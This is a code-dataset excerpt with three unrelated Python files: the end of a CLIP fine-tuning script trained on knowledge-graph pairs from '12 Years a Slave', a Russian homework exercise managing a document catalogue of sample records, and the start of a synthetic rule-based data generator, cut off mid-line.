df[\"relation_embedding\"].apply(json.loads)\n        return df\n\n    def __kg_df_to_graph(self, kg_df):\n        \"\"\"\n        Convert a knowledge graph to a networkx graph.\n\n        Parameters:\n        ----------\n        kg_df : the knowledge graph as a pandas dataframe\n\n        Returns:\n        -------\n        graph : the knowledge graph as a networkx graph\n        \"\"\"\n        graph = nx.from_pandas_edgelist(\n            kg_df,\n            \"head\",\n            \"tail\",\n            [\"relation\", \"relation_embedding\"],\n            create_using=nx.MultiDiGraph(),\n        )\n        return graph\n\n    def __build_pairs(self, kg: nx.Graph, num_hops: int = 3):\n        \"\"\"\n        Build pairs of entities from the knowledge graph\n        based on symmetric relations. For example, (Tom, plays, football)\n        and (Erica, plays, football) will result in the pair (Tom, Erica).\n        In order to account for more fuzzy relation matching, we will use\n        the cosine similarity between the relation embeddings to determine\n        if two relations are similar enough to be considered symmetric.\n\n        Parameters:\n        ----------\n        kg : the knowledge graph\n        num_hops : the number of hops to consider for symmetric relations\n\n        Yields:\n        ------\n        pairs : tuples of entities that are symmetrically related\n        \"\"\"\n        kg = nx.reverse_view(kg)\n        for pivot in kg.nodes:\n            pairs = {0: [(pivot, pivot)]}\n            for k in range(1, num_hops + 1):\n                if k not in pairs:\n                    pairs[k] = []\n                for u, v in pairs[k - 1]:\n                    for ux, uy in itertools.product(\n                        kg.edges(u, data=True), kg.edges(v, data=True)\n                    ):\n                        _, x, ux_data = ux\n                        _, y, vy_data = uy\n                        if x == y:\n                            continue\n                        if (x, y) in pairs[k - 1]:\n                            continue\n                        if (\n                            self.__relation_similarity(\n                                ux_data[\"relation_embedding\"],\n                                vy_data[\"relation_embedding\"],\n                            )\n                            >= 0.90\n                        ):\n                            pairs[k].append((x, y))\n                            yield (x, y)\n\n    def __relation_similarity(self, relation1, relation2):\n        \"\"\"\n        Calculate the cosine similarity between two relation embeddings.\n\n        Parameters:\n        ----------\n        relation1 : the first relation embedding\n        relation2 : the second relation embedding\n\n        Returns:\n        -------\n        similarity : the cosine similarity between the two relation embeddings\n        \"\"\"\n        return np.dot(relation1, relation2) / (\n            np.linalg.norm(relation1) * np.linalg.norm(relation2)\n        )\n\n    def __len__(self):\n        return (\n            len(self.text_text_pairs)\n            + len(self.text_image_pairs)\n            + len(self.image_text_pairs)\n            + len(self.image_image_pairs)\n        )\n\n    def __getitem__(self, idx):\n        if idx < len(self.text_text_pairs):\n            return {\n                \"text1\": self.text_text_pairs[idx][0],\n                \"text2\": self.text_text_pairs[idx][1],\n                \"label\": self.labels[idx],\n            }\n        if idx < len(self.text_text_pairs) + len(self.text_image_pairs):\n            idx = idx - len(self.text_text_pairs)\n            return {\n                \"text1\": self.text_image_pairs[idx][0],\n                \"image2\": self.text_image_pairs[idx][1],\n                \"label\": self.labels[idx],\n            }\n        if idx < (\n            len(self.text_text_pairs)\n            + len(self.text_image_pairs)\n            + len(self.image_text_pairs)\n        ):\n            idx = idx - (len(self.text_text_pairs) + len(self.text_image_pairs))\n            return {\n                \"image1\": self.image_text_pairs[idx][0],\n                \"text2\": self.image_text_pairs[idx][1],\n                \"label\": self.labels[idx],\n            }\n        idx = idx - (\n            len(self.text_text_pairs)\n            + len(self.text_image_pairs)\n            + len(self.image_text_pairs)\n        )\n        return {\n            \"image1\": self.image_image_pairs[idx][0],\n            \"image2\": self.image_image_pairs[idx][1],\n            \"label\": self.labels[idx],\n        }\n\n\nclass ContrastiveLoss(nn.Module):\n    \"\"\"\n    Vanilla Contrastive loss, also called InfoNceLoss as in SimCLR paper\n\n    [Source](https://theaisummer.com/simclr/)\n    \"\"\"\n\n    def __init__(self, batch_size, temperature=0.5):\n        super().__init__()\n        self.batch_size = batch_size\n        self.temperature = temperature\n\n    def __mask(self, batch_size):\n        mask = (~torch.eye(batch_size * 2, batch_size * 2, dtype=bool)).float()\n        return mask\n\n    def calc_similarity_batch(self, a, b):\n        representations = torch.cat([a, b], dim=0)\n        return torch.cosine_similarity(\n            representations.unsqueeze(1), representations.unsqueeze(0), dim=2\n        )\n\n    def forward(self, proj_1, proj_2):\n        \"\"\"\n        proj_1 and proj_2 are batched embeddings [batch, embedding_dim]\n        where corresponding indices are pairs\n        z_i, z_j in the SimCLR paper\n        \"\"\"\n        batch_size = proj_1.shape[0]\n        z_i = torch.nn.functional.normalize(proj_1, p=2, dim=1)\n        z_j = torch.nn.functional.normalize(proj_2, p=2, dim=1)\n\n        similarity_matrix = self.calc_similarity_batch(z_i, z_j)\n\n        sim_ij = torch.diag(similarity_matrix, batch_size)\n        sim_ji = torch.diag(similarity_matrix, -batch_size)\n\n        positives = torch.cat([sim_ij, sim_ji], dim=0)\n\n        nominator = torch.exp(positives / self.temperature)\n\n        denominator = self.__mask(batch_size).to(similarity_matrix.device) * torch.exp(\n            similarity_matrix / self.temperature\n        )\n\n        all_losses = -torch.log(nominator / torch.sum(denominator, dim=1))\n        loss = torch.sum(all_losses) / (2 * self.batch_size)\n        return loss\n\n\nclass MultiModalKGCLIP(nn.Module):\n    def __init__(self, batch_size=128, num_epochs=40, learning_rate=1e-5):\n        super().__init__()\n        (\n            self.text_model,\n            self.text_processor,\n            self.image_model,\n            self.image_processor,\n        ) = self.__get_models()\n        self.batch_size = batch_size\n        self.num_epochs = num_epochs\n        self.learning_rate = learning_rate\n\n    @staticmethod\n    def __get_models():\n        model_name = \"openai/clip-vit-base-patch16\"\n        device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n        # Load the CLIP model and processor\n        text_model = CLIPTextModelWithProjection.from_pretrained(model_name).to(device)\n        text_processor = AutoTokenizer.from_pretrained(model_name)\n\n        image_model = CLIPVisionModelWithProjection.from_pretrained(model_name).to(\n            device\n        )\n        image_processor = AutoProcessor.from_pretrained(model_name).image_processor\n        return (\n            text_model,\n            text_processor,\n            image_model,\n            image_processor,\n        )\n\n    def forward(self, text_input, image_input):\n        text_embedding = self.text_model(**text_input).text_embeds\n        image_embedding = self.image_model(**image_input).image_embeds\n        return text_embedding, image_embedding\n\n    def save_pretrained(self, output_dir):\n        self.text_model.save_pretrained(os.path.join(output_dir, \"text_model\"))\n        self.image_model.save_pretrained(os.path.join(output_dir, \"image_model\"))\n\n    @classmethod\n    def from_pretrained(cls, pretrained_dir):\n        text_model = CLIPTextModelWithProjection.from_pretrained(\n            os.path.join(pretrained_dir, \"text_model\")\n        )\n        image_model = CLIPVisionModelWithProjection.from_pretrained(\n            os.path.join(pretrained_dir, \"image_model\")\n        )\n        return cls(text_model, image_model)\n\n    def train(self, mode: bool = True):\n        self.text_model.train(mode)\n        self.image_model.train(mode)\n        return super().train(mode)\n\n    def eval(self):\n        self.text_model.eval()\n        self.image_model.eval()\n        return super().eval()\n\n    def __get_batch_type(self, batch):\n        if \"text1\" in batch and \"text2\" in batch:\n            return \"text_text\"\n        if \"text1\" in batch and \"image2\" in batch:\n            return \"text_image\"\n        if \"image1\" in batch and \"text2\" in batch:\n            return \"image_text\"\n        if \"image1\" in batch and \"image2\" in batch:\n            return \"image_image\"\n        raise ValueError(\"Invalid batch\")\n\n    def fit(self, data_loader: DataLoader):\n        criterion = ContrastiveLoss(self.batch_size)\n        text_optimizer = optim.AdamW(\n            self.text_model.parameters(), lr=self.learning_rate\n        )\n        image_optimizer = optim.AdamW(\n            self.image_model.parameters(), lr=self.learning_rate\n        )\n        # Fine-tuning loop\n        self.train()\n        for epoch in range(self.num_epochs):\n            total_loss = 0.0\n            for batch in data_loader:\n                batch_type = self.__get_batch_type(batch)\n                if batch_type == \"text_text\":\n                    text_optimizer.zero_grad()\n\n                    text_input_1 = self.text_processor(\n                        batch[\"text1\"], return_tensors=\"pt\", padding=True\n                    )\n                    text_input_2 = self.text_processor(\n                        batch[\"text2\"], return_tensors=\"pt\", padding=True\n                    )\n                    text_input_1, text_input_2 = (\n                        text_input_1.to(self.text_model.device),\n                        text_input_2.to(self.text_model.device),\n                    )\n                    loss = criterion(\n                        self.text_model(**text_input_1).text_embeds,\n                        self.text_model(**text_input_2).text_embeds,\n                    )\n                    loss.backward()\n                    text_optimizer.step()\n                elif batch_type == \"text_image\":\n                    text_optimizer.zero_grad()\n                    image_optimizer.zero_grad()\n\n                    text_input = self.text_processor(\n                        batch[\"text1\"], return_tensors=\"pt\", padding=True\n                    )\n                    image_input = self.image_processor(\n                        batch[\"image2\"], return_tensors=\"pt\", padding=True\n                    )\n                    text_input, image_input = (\n                        text_input.to(self.text_model.device),\n                        image_input.to(self.image_model.device),\n                    )\n                    loss = criterion(\n                        self.text_model(**text_input).text_embeds,\n                        self.image_model(**image_input).image_embeds,\n                    )\n                    loss.backward()\n                    text_optimizer.step()\n                    image_optimizer.step()\n                elif batch_type == \"image_text\":\n                    text_optimizer.zero_grad()\n                    image_optimizer.zero_grad()\n\n                    image_input = self.image_processor(\n                        batch[\"image1\"], return_tensors=\"pt\", padding=True\n                    )\n                    text_input = self.text_processor(\n                        batch[\"text2\"], return_tensors=\"pt\", padding=True\n                    )\n                    image_input, text_input = (\n                        image_input.to(self.image_model.device),\n                        text_input.to(self.text_model.device),\n                    )\n                    loss = criterion(\n                        self.image_model(**image_input).image_embeds,\n                        self.text_model(**text_input).text_embeds,\n                    )\n                    loss.backward()\n                    text_optimizer.step()\n                    image_optimizer.step()\n                elif batch_type == \"image_image\":\n                    image_optimizer.zero_grad()\n\n                    image_input_1 = self.image_processor(\n                        batch[\"image1\"], return_tensors=\"pt\", padding=True\n                    )\n                    image_input_2 = self.image_processor(\n                        batch[\"image2\"], return_tensors=\"pt\", padding=True\n                    )\n                    image_input_1, image_input_2 = (\n                        image_input_1.to(self.image_model.device),\n                        image_input_2.to(self.image_model.device),\n                    )\n                    loss = criterion(\n                        self.image_model(**image_input_1).image_embeds,\n                        self.image_model(**image_input_2).image_embeds,\n                    )\n                    loss.backward()\n                    image_optimizer.step()\n\n                total_loss += loss.item()\n\n            avg_loss = total_loss / len(data_loader)\n            print(f\"Epoch {epoch + 1}/{self.num_epochs} - Average Loss: {avg_loss}\")\n\n    def predict_text(self, text_data):\n        self.eval()\n        with torch.no_grad():\n            # get the text embedding\n            text_input = self.text_processor(\n                text_data, return_tensors=\"pt\", padding=True\n            )\n            text_input = text_input.to(self.text_model.device)\n            text_embedding = self.text_model(**text_input).text_embeds\n            return text_embedding\n\n    def predict_image(self, image_data):\n        self.eval()\n        with torch.no_grad():\n            # get the image embedding\n            image_input = self.image_processor(\n                image_data, return_tensors=\"pt\", padding=True\n            )\n            image_input = image_input.to(self.image_model.device)\n            image_embedding = self.image_model(**image_input).image_embeds\n            return image_embedding\n\n    def evaluate(\n        self, text_data_1=None, text_data_2=None, image_data_1=None, image_data_2=None\n    ):\n        if (\n            sum(\n                [\n                    1 if text_data_1 is not None else 0,\n                    1 if text_data_2 is not None else 0,\n                    1 if image_data_1 is not None else 0,\n                    1 if image_data_2 is not None else 0,\n                ]\n            )\n            != 2\n        ):\n            raise ValueError(\n                \"Exactly two of text_data_1, text_data_2, image_data_1, image_data_2 must be provided\"\n            )\n        if text_data_1 is not None and text_data_2 is not None:\n            data_1 = text_data_1\n            data_2 = text_data_2\n            labels_1 = data_1\n            labels_2 = data_2\n            kind_1 = \"text1\"\n            kind_2 = \"text2\"\n            predict1 = self.predict_text\n            predict2 = self.predict_text\n        elif text_data_1 is not None and image_data_2 is not None:\n            data_1 = text_data_1\n            data_2 = list(list(zip(*image_data_2))[1])\n            labels_1 = data_1\n            labels_2 = list(list(zip(*image_data_2))[0])\n            kind_1 = \"text1\"\n            kind_2 = \"image2\"\n            predict1 = self.predict_text\n            predict2 = self.predict_image\n        elif image_data_1 is not None and text_data_2 is not None:\n            data_1 = list(list(zip(*image_data_1))[1])\n            data_2 = text_data_2\n            labels_1 = list(list(zip(*image_data_1))[0])\n            labels_2 = data_2\n            kind_1 = \"image1\"\n            kind_2 = \"text2\"\n            predict1 = self.predict_image\n            predict2 = self.predict_text\n        elif image_data_1 is not None and image_data_2 is not None:\n            data_1 = list(list(zip(*image_data_1))[1])\n            data_2 = list(list(zip(*image_data_2))[1])\n            labels_1 = list(list(zip(*image_data_1))[0])\n            labels_2 = list(list(zip(*image_data_2))[0])\n            kind_1 = \"image1\"\n            kind_2 = \"image2\"\n            predict1 = self.predict_image\n            predict2 = self.predict_image\n        self.eval()\n        with torch.no_grad():\n            # calculate the cosine similarity between the two embeddings\n            embedding_1 = predict1(data_1)\n            embedding_2 = predict2(data_2)\n            similarity_scores = nn.CosineSimilarity(dim=1)(embedding_1, embedding_2)\n            print(\n                pd.DataFrame.from_dict(\n                    {\n                        kind_1: labels_1,\n                        kind_2: labels_2,\n                        \"similarity\": similarity_scores.tolist(),\n                    }\n                )\n            )\n\n\ndef plot_text_embeddings(model, text_data, save_to: Optional[str] = None):\n    tsne = TSNE(n_components=2, random_state=0, metric=\"cosine\", perplexity=5)\n    visualisation_set = text_data\n    text_embeddings = model.predict_text(visualisation_set).cpu().numpy()\n    text_embeddings = tsne.fit_transform(text_embeddings)\n    text_embeddings = pd.DataFrame(\n        np.hstack((text_embeddings, np.array(visualisation_set).reshape(-1, 1))),\n        columns=[\"x\", \"y\", \"text\"],\n    )\n    text_embeddings[\"x\"] = text_embeddings[\"x\"].astype(float)\n    text_embeddings[\"y\"] = text_embeddings[\"y\"].astype(float)\n    fig = px.scatter(text_embeddings, x=\"x\", y=\"y\", text=\"text\")\n    fig.update_traces(textposition=\"top center\")\n    fig.update_layout(\n        height=800,\n        title_x=0.5,\n        title_y=0.9,\n        title_font_size=30,\n        font=dict(size=18),\n    )\n    fig.update_xaxes(\n        range=[text_embeddings[\"x\"].min() - 50, text_embeddings[\"x\"].max() + 50]\n    )\n    fig.update_yaxes(\n        range=[text_embeddings[\"y\"].min() - 5, text_embeddings[\"y\"].max() + 5]\n    )\n    if save_to is not None:\n        fig.write_image(save_to)\n    fig.show()\n\n\ndef plot_image_embeddings(\n    model, image_data: list[tuple[str, Image]], save_to: Optional[str] = None\n):\n    tsne = TSNE(\n        n_components=2,\n        random_state=0,\n        metric=\"cosine\",\n        perplexity=min(5, len(image_data) - 1),\n    )\n    names, visualisation_set = list(zip(*image_data))\n    names = list(names)\n    visualisation_set = list(visualisation_set)\n    image_embeddings = model.predict_image(visualisation_set).cpu().numpy()\n    image_embeddings = tsne.fit_transform(image_embeddings)\n    image_embeddings = pd.DataFrame(\n        np.hstack((image_embeddings, np.array(names).reshape(-1, 1))),\n        columns=[\"x\", \"y\", \"image\"],\n    )\n    image_embeddings[\"x\"] = image_embeddings[\"x\"].astype(float)\n    image_embeddings[\"y\"] = image_embeddings[\"y\"].astype(float)\n    fig = px.scatter(image_embeddings, x=\"x\", y=\"y\", text=\"image\")\n    fig.update_traces(textposition=\"top center\")\n    fig.update_layout(\n        height=800,\n        title_x=0.5,\n        title_y=0.9,\n        title_font_size=30,\n        font=dict(size=18),\n    )\n    fig.update_xaxes(\n        range=[image_embeddings[\"x\"].min() - 50, image_embeddings[\"x\"].max() + 50]\n    )\n    fig.update_yaxes(\n        range=[image_embeddings[\"y\"].min() - 5, image_embeddings[\"y\"].max() + 5]\n    )\n    if save_to is not None:\n        fig.write_image(save_to)\n    fig.show()\n\n\ndef pairwise_distances(\n    X, metric: Literal[\"cosine\", \"euclidean\"] = \"euclidean\", **kwargs\n):\n    \"\"\"\n    Compute the pairwise distance between X and Y.\n\n    Parameters\n    ----------\n    X : array-like of shape (n_samples, n_features)\n\n    metric : either \"cosine\" or \"euclidean\"\n\n    Returns\n    -------\n    distances : ndarray of shape (n_samples_X, n_samples_Y)\n    \"\"\"\n    if metric == \"cosine\":\n        X_normalized = X / np.linalg.norm(X, axis=1)[:, np.newaxis]\n        return np.dot(X_normalized, X_normalized.T)\n    elif metric == \"euclidean\":\n        return np.sqrt(\n            np.sum(X**2, axis=1)[:, np.newaxis]\n            + np.sum(X**2, axis=1)[np.newaxis, :]\n            - 2 * np.dot(X, X.T)\n        )\n    raise ValueError(f\"Invalid metric '{metric}'\")\n\n\ndef representation_dist_matrix(\n    model: \"MultiModalKGCLIP\", text_data=None, image_data=None\n):\n    if text_data is None and image_data is None:\n        raise ValueError(\"Either text_data or image_data must be provided\")\n    if text_data is not None and image_data is not None:\n        raise ValueError(\"Only one of text_data or image_data must be provided\")\n    if text_data is not None:\n        data = text_data\n        predict = model.predict_text\n    else:\n        _, visualisation_set = list(zip(*image_data))\n        visualisation_set = list(visualisation_set)\n        data = visualisation_set\n        predict = model.predict_image\n    embeddings = predict(data).cpu().numpy()\n    return pd.DataFrame(\n        pairwise_distances(embeddings, metric=\"cosine\"),\n        columns=data,\n        index=data,\n    )\n\n\ndef representation_dist_matrix_correlation(X, Y) -> tuple[float, float]:\n    \"\"\"\n    Compute the correlation between the pairwise distance matrices of X and Y.\n\n    Parameters\n    ----------\n    X : array-like of shape (n_samples, n_features)\n    Y : array-like of shape (n_samples, n_features)\n\n    Returns\n    -------\n    correlation : float\n    p_value : float\n    \"\"\"\n    return distance_corr(\n        pairwise_distances(X, metric=\"cosine\").ravel(),\n        pairwise_distances(Y, metric=\"cosine\").ravel(),\n    )\n\n\ndef tuple_uniq_by_index(tuples: list[tuple], index: int) -> list[tuple]:\n    \"\"\"\n    Remove duplicates from a list of tuples based on a given index.\n\n    Parameters\n    ----------\n    tuples : the list of tuples\n    index : the index to use for comparison\n\n    Returns\n    -------\n    unique_tuples : the list of tuples with duplicates removed\n    \"\"\"\n    seen = set()\n    unique_tuples = []\n    for tup in tuples:\n        if tup[index] not in seen:\n            seen.add(tup[index])\n            unique_tuples.append(tup)\n    return unique_tuples\n\n\nif __name__ == \"__main__\":\n    batch_size = 128\n\n    model = MultiModalKGCLIP(batch_size=batch_size, num_epochs=40)\n\n    eval_1 = [\n        \"Sam\",\n        \"Solomon\",\n        \"Anne\",\n        \"Anne\",\n        \"Uncle Abram\",\n        \"Solomon\",\n        \"Solomon\",\n        \"Edwin Epps\",\n        \"William Ford\",\n        \"Merrill Brown\",\n        \"Judge Turner\",\n        \"Solomon\",\n        \"William Ford\",\n        \"A picture of an apple\",\n        \"A glass of water on the table\",\n    ]\n    eval_2 = [\n        \"Solomon\",\n        \"Anne\",\n        \"Alonzo\",\n        \"Margaret\",\n        \"Alonzo\",\n        \"Slaves\",\n        \"Free man\",\n        \"Solomon\",\n        \"Solomon\",\n        \"Abram Hamilton\",\n        \"Solomon\",\n        \"Clemens Ray\",\n        \"Edwin Epps\",\n        \"A picture of an orange\",\n        \"An airplane in the sky\",\n    ]\n\n    dataset = KGDataset(\n        \"../results/12_years_a_slave.csv\",\n        \"/Users/nate/Downloads/clustered-finetuned/test\",\n        max_pairs=1000,\n    )\n\n    text_eval_entities = [\n        \"Solomon Northup\",\n        \"Patsey\",\n        \"Tibeats\",\n        \"Armsby\",\n        \"Mrs. Epps\",\n        \"Mistress Shaw\",\n        \"William Ford\",\n        \"Judge Turner\",\n        \"Master Shaw\",\n        \"Edwin Epps\",\n        \"Abram Hamilton\",\n        \"Eliza\",\n        \"Clemens Ray\",\n        \"Anne Northup\",\n        \"Alonzo Northup\",\n        \"Margaret Northup\",\n        \"Sam\",\n        \"Uncle Abram\",\n        \"Free man\",\n        \"Bass\",\n    ]\n\n    image_eval_entities = [\n        (name, images[0])\n        for name, images in dataset.match_face_images(text_eval_entities).items()\n    ]\n\n    matching_images = dataset.match_face_images(list(set(eval_1 + eval_2)))\n\n    image_eval_1 = [\n        (name, matching_images[name][0])\n        for i, name in enumerate(eval_1)\n        if name in matching_images and eval_2[i] in matching_images\n    ]\n    image_eval_2 = [\n        (name, matching_images[name][0])\n        for i, name in enumerate(eval_2)\n        if name in matching_images and eval_1[i] in matching_images\n    ]\n\n    print(\"Pre-training:\")\n    model.evaluate(eval_1, eval_2)\n    model.evaluate(image_data_1=image_eval_1, image_data_2=image_eval_2)\n    plot_text_embeddings(\n        model, list(set(eval_1 + eval_2)), save_to=\"pre_embeddings_text.svg\"\n    )\n    plot_image_embeddings(\n        model,\n        tuple_uniq_by_index(image_eval_1 + image_eval_2, 0),\n        save_to=\"pre_embeddings_image.svg\",\n    )\n\n    pre_train_text_embeddings = model.predict_text(text_eval_entities).cpu().numpy()\n    pre_train_text_embeddings_have_images = (\n        model.predict_text(\n            [\n                entity\n                for entity in text_eval_entities\n                if entity in set(list(zip(*image_eval_entities))[0])\n            ]\n        )\n        .cpu()\n        .numpy()\n    )\n    pre_train_image_embeddings = (\n        model.predict_image([image for _, image in image_eval_entities]).cpu().numpy()\n    )\n\n    model.fit(\n        DataLoader(\n            dataset,\n            batch_sampler=KGDatasetBatchSampler(dataset, batch_size),\n        )\n    )\n    output_dir = \"./fine_tuned_clip_model\"\n    model.save_pretrained(output_dir)\n    print(f\"Saved model to '{output_dir}'\")\n    try:\n        torch.save(model, os.path.join(output_dir, \"model.pt\"))\n    except Exception as e:\n        print(\"Failed to save model: \", e)\n    print(\"Post-training:\")\n    post_train_text_embeddings = model.predict_text(text_eval_entities).cpu().numpy()\n    post_train_text_embeddings_have_images = (\n        model.predict_text(\n            [\n                entity\n                for entity in text_eval_entities\n                if entity in set(list(zip(*image_eval_entities))[0])\n            ]\n        )\n        .cpu()\n        .numpy()\n    )\n    post_train_image_embeddings = (\n        model.predict_image([image for _, image in image_eval_entities]).cpu().numpy()\n    )\n\n    pre_train_image_text_corr, pre_p_val = distance_corr(\n        pre_train_text_embeddings_have_images, pre_train_image_embeddings\n    )\n    post_train_image_text_corr, post_p_val = distance_corr(\n        post_train_text_embeddings_have_images, post_train_image_embeddings\n    )\n    print(\n        f\"Pre-training image-text correlation: {pre_train_image_text_corr:.3f} (p<{pre_p_val:.3f}; n={len(post_train_text_embeddings_have_images)}), Post-training image-text correlation: {post_train_image_text_corr:.3f} (p<{post_p_val:.3f}; n={len(post_train_text_embeddings_have_images)})\"\n    )\n    pre_post_image_corr, image_p_val = distance_corr(\n        pre_train_image_embeddings, post_train_image_embeddings\n    )\n    pre_post_text_corr, text_p_val = distance_corr(\n        pre_train_text_embeddings, post_train_text_embeddings\n    )\n    print(\n        f\"Pre-post-training image-image correlation: {pre_post_image_corr:.3f} (p<{image_p_val:.3f}; n={len(pre_train_text_embeddings)}), Pre-post-training text-text correlation: {pre_post_text_corr:.3f} (p<{text_p_val:.3f}; n={len(pre_train_text_embeddings)})\"\n    )\n    pre_image_post_text_corr, pre_image_post_text_p_val = distance_corr(\n        pre_train_image_embeddings, post_train_text_embeddings_have_images\n    )\n    pre_text_post_image_corr, pre_text_post_image_p_val = distance_corr(\n        pre_train_text_embeddings_have_images, post_train_image_embeddings\n    )\n    print(\n        f\"Pre-training image-post-training text correlation: {pre_image_post_text_corr:.3f} (p<{pre_image_post_text_p_val:.3f}; n={len(post_train_image_embeddings)}), Pre-training text-post-training image correlation: {pre_text_post_image_corr:.3f} (p<{pre_text_post_image_p_val:.3f}; n={len(post_train_image_embeddings)})\"\n    )\n    model.evaluate(eval_1, eval_2)\n    model.evaluate(image_data_1=image_eval_1, image_data_2=image_eval_2)\n    plot_text_embeddings(\n        model, list(set(eval_1 + eval_2)), save_to=\"post_embeddings_text.svg\"\n    )\n    plot_image_embeddings(\n        model,\n        tuple_uniq_by_index(image_eval_1 + image_eval_2, 0),\n        save_to=\"post_embeddings_image.svg\",\n    )\n","repo_name":"natexcvi/script-kg-builder","sub_path":"model/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":35643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"19393515092","text":"# Условие задачи\n# Я работаю секретарём, и мне постоянно приходят различные документы. Я должен быть очень внимателен,\n# чтобы не потерять ни один документ. Каталог документов хранится в следующем виде:\n# \tdocuments = [\n# \t\t{\"type\": \"passport\", \"number\": \"2207 876234\", \"name\": \"Василий Гупкин\"},\n# \t\t{\"type\": \"invoice\", \"number\": \"11-2\", \"name\": \"Геннадий Покемонов\"},\n# \t\t{\"type\": \"insurance\", \"number\": \"10006\", \"name\": \"Аристарх Павлов\"},\n# \t\t{\"type\": \"driver license\", \"number\": \"5455 028765\", \"name\": \"Василий Иванов\"},\n# \t]\n# Перечень полок, на которых находятся документы, хранится в следующем виде:\n# \tdirectories = {\n# \t\t'1': ['2207 876234', '11-2', '5455 028765'],\n# \t\t'2': ['10006'],\n# \t\t'3': []\n# \t}\n# Необходимо реализовать следующие функции.\n#\n# get_name — функция. Принимает номер документа и выводит имя человека, которому он принадлежит.\n# Если такого документа не существует вывести “Документ не найден”.\n# get_directory — функция. Принимает номер документа и выводит номер полки, на которой он находится.\n# Если такой документ не найден на полках вывести “Полки с таким документом не найдено”.\n# add — функция, которая добавит новый документ в каталог и перечень полок.\n# В результате корректного выполнения задания будет выведен следующий результат:\n\n# Аристарх Павлов\n# 1\n# Документ не найден\n# 3\n# Александр Пушкин\n# Полки с таким документом не найдено\n\n\ndocuments = [\n        {\"type\": \"passport\", \"number\": \"2207 876234\", \"name\": \"Василий Гупкин\"},\n        {\"type\": \"invoice\", \"number\": \"11-2\", \"name\": \"Геннадий Покемонов\"},\n        {\"type\": \"insurance\", \"number\": \"10006\", \"name\": \"Аристарх Павлов\"},\n        {\"type\": \"driver license\", \"number\": \"5455 028765\", \"name\": \"Василий Иванов\"},\n      ]\n\ndirectories = {\n        '1': ['2207 876234', '11-2', '5455 028765'],\n        '2': ['10006'],\n        '3': []\n      }\n# get_name — функция. Принимает номер документа и выводит имя человека, которому он принадлежит.\n# Если такого документа не существует вывести “Документ не найден”.\ndef get_name(doc_number):\n    # Создадим список значений по ключу \"number\"\n    value_number_list= []\n    for document in documents:\n        value_number_list.append(document[\"number\"])\n    # print (value_number_list) # ['2207 876234', '11-2', '10006', '5455 028765']\n    if doc_number in value_number_list:\n        for document in documents:\n            if document[\"number\"]== doc_number:\n                name = document[\"name\"]\n    else:\n        name= 'Документ не найден'\n    return name\n\n# get_directory — функция. Принимает номер документа и выводит номер полки, на которой он находится.\n# Если такой документ не найден на полках вывести “Полки с таким документом не найдено”\ndef get_directory(doc_number):\n    # Создадим список значений словаря directories\n    values_list_directories = []\n    for element in directories.values():\n        values_list_directories .extend(element) #['2207 876234', '11-2', '5455 028765', '10006']\n    # Проверим , присутстует ли doc_number в directories\n    if doc_number in values_list_directories:\n        for key , value in directories.items():\n            if doc_number in value:\n                number= key\n    else:\n        number= 'Полки с таким документом не найдено'\n    return number\n# add — функция, которая добавит новый документ в каталог и перечень полок.\ndef add(document_type, number, name,shelf_number):\n    # Добавляем словарь в список documents\n    new_dict={}\n    new_dict[\"type\"] = document_type\n    new_dict[\"number\"] = number\n    new_dict[\"name\"]=name\n    documents.append(new_dict)\n    #print(documents)\n    # Добавляем значение для номера полки в словаре directories\n    key=str(shelf_number)\n    directories[key].append(number)\n    #print(directories)\n\n\n\nif __name__ == '__main__':\n    print(get_name(\"10006\"))\n    print(get_directory(\"11-2\"))\n    print(get_name(\"101\"))\n    add('international passport', '311 020203', 'Александр Пушкин', 3)\n    print(get_directory(\"311 020203\"))\n    print(get_name(\"311 020203\"))\n    print(get_directory(\"311 020204\"))\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Greon68/new-test","sub_path":"711.ДЗ-3 - Секретарь. ФИНИШ.py","file_name":"711.ДЗ-3 - Секретарь. ФИНИШ.py","file_ext":"py","file_size_in_byte":5423,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10560781640","text":"import pandas as pd\nimport random\nimport argparse\n\nCONTINUOUS = 4\nBINARY = 4\n\n# X[:, :INFORMATIVE + CORELATED + IRRELEVANT]\n\ndef parse_arg():\n    parser = argparse.ArgumentParser(\n        prog='python generator.py',\n        description='Generate data with specific class by absolute right rules.',\n    )\n    parser.add_argument(\n        '--irrelevant',\n        help='Number of irrelevant attributes.',\n        type=int,\n        default=0,\n    )\n    parser.add_argument(\n        '--use_bmi',\n        help='To use BMI attribute or not.',\n        type=bool,\n        default=False,\n    )\n    parser.add_argument(\n        '--dependent',\n        help='Number of dependent attributes.',\n        type=int,\n        default=1,\n    )\n    parser.add_argument(\n        '--binary',\n        help='Number of binary attributes.',\n        type=int,\n        default=4,\n    )\n    parser.add_argument(\n        '--use_linear',\n        help=\"To generate rule by attribute's linear comnibation or not.\",\n        type=bool,\n        default=False,\n    )\n\n    return parser.parse_args()\n\ndef rule_match(arg, data):\n    cnt = 0\n    if (arg.use_linear):\n        res = data[0] - 100 * data[2] + 2 * data[3]\n        if (res < 300 or res > 450):\n            cnt = cnt + 1\n    else:\n        if (data[0] > 196 or data[0] < 155): \n            cnt = cnt + 1\n        if (data[2] < 0.1):\n            cnt = cnt + 1\n        if (data[3] < 85):\n            cnt = cnt + 1\n\n        if (arg.use_bmi):\n            bmi = (data[1] / ((data[0] / 100) ** 2))\n            if (bmi < 16.5 or bmi > 31.5):\n                cnt = cnt + 1\n        \n    for i in range(arg.binary):\n        if (data[CONTINUOUS + i] != 0):\n            cnt = cnt + 1\n\n    return cnt < arg.dependent\n\ndef gen_data(arg, bin_positive = False):\n    data = [\n        random.randrange(140, 220), \n        random.randrange(30, 130), \n        round(random.uniform(0, 2), 1),\n        random.randrange(60, 180), \n    ]\n\n    if (bin_positive):\n        data.extend([0 for _ in range(arg.binary)])\n    else:\n        data.extend([random.randrange(2) for _ in range(arg.binary)])\n\n    data.extend([random.randrange(200) for _ in range(arg.irrelevant)])\n\n    return data\n\ndef main():\n    args = parse_arg()\n\n    dataset = []\n    total = CONTINUOUS + args.binary + args.irrelevant\n\n    positive_require = 3000\n    while(positive_require > 0 or len(dataset) < 10000):\n        data = gen_data(args, bin_positive=(positive_require > 0))\n        if rule_match(args, data):\n            positive_require = positive_require - 1\n            data.append(1)\n            dataset.append(data)\n        elif len(dataset) < 